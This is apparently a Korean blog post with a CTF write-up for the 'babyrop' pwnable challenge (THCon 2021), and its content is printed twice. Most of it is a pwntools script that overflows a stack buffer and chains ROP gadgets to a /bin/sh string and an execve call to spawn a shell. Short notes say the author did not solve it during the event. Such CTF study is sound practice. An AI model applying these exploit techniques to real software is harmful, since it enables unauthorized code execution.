from pwn import * #p = remote('remote1.thcon.party', 10900) p = process('./babyrop') e = ELF('./babyrop') libc = e.libc bss = e.bss() + 0x100 pop_rdi = 0x4012c3 pop_rsi_r15 = 0x4012c1 binsh = 0x40201a # 이부분은 string에 보면 /bin/sh 문자열이 있고, 문자열시작 부터 /bin/sh까지 바이트를 더해주면됨 #gdb.attach(p) secret = 0x4011f3 payload = '' payload += "A"*0x20 payload += "B"*8 payload += p64(pop_rdi) payload += p64(binsh) payload += p64(pop_rsi_r15) payload += p64(0)*2 payload += p64(secret) # secret함수 안에 있는 execve 호출 어셈 코드 p.sendlineafter('name ?\n', payload) p.interactive() ~
PWNABLE
babyrop
실제로 풀다가 도저히 벡터를 못찾아서 못푼 문제
rop에 필요한 가젯은 모두 찾았으나 binsh와 execve를 잘 활용하지 못해서 풀지 못함..
+ 항상 코드를 잘 보자..
* 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.
2021 THE CTF
from pwn import * #p = remote('remote1.thcon.party', 10900) p = process('./babyrop') e = ELF('./babyrop') libc = e.libc bss = e.bss() + 0x100 pop_rdi = 0x4012c3 pop_rsi_r15 = 0x4012c1 binsh = 0x40201a # 이부분은 string에 보면 /bin/sh 문자열이 있고, 문자열시작 부터 /bin/sh까지 바이트를 더해주면됨 #gdb.attach(p) secret = 0x4011f3 payload = '' payload += "A"*0x20 payload += "B"*8 payload += p64(pop_rdi) payload += p64(binsh) payload += p64(pop_rsi_r15) payload += p64(0)*2 payload += p64(secret) # secret함수 안에 있는 execve 호출 어셈 코드 p.sendlineafter('name ?\n', payload) p.interactive() ~
PWNABLE
babyrop
실제로 풀다가 도저히 벡터를 못찾아서 못푼 문제
rop에 필요한 가젯은 모두 찾았으나 binsh와 execve를 잘 활용하지 못해서 풀지 못함..
+ 항상 코드를 잘 보자..
'Pwnable' 카테고리의 다른 글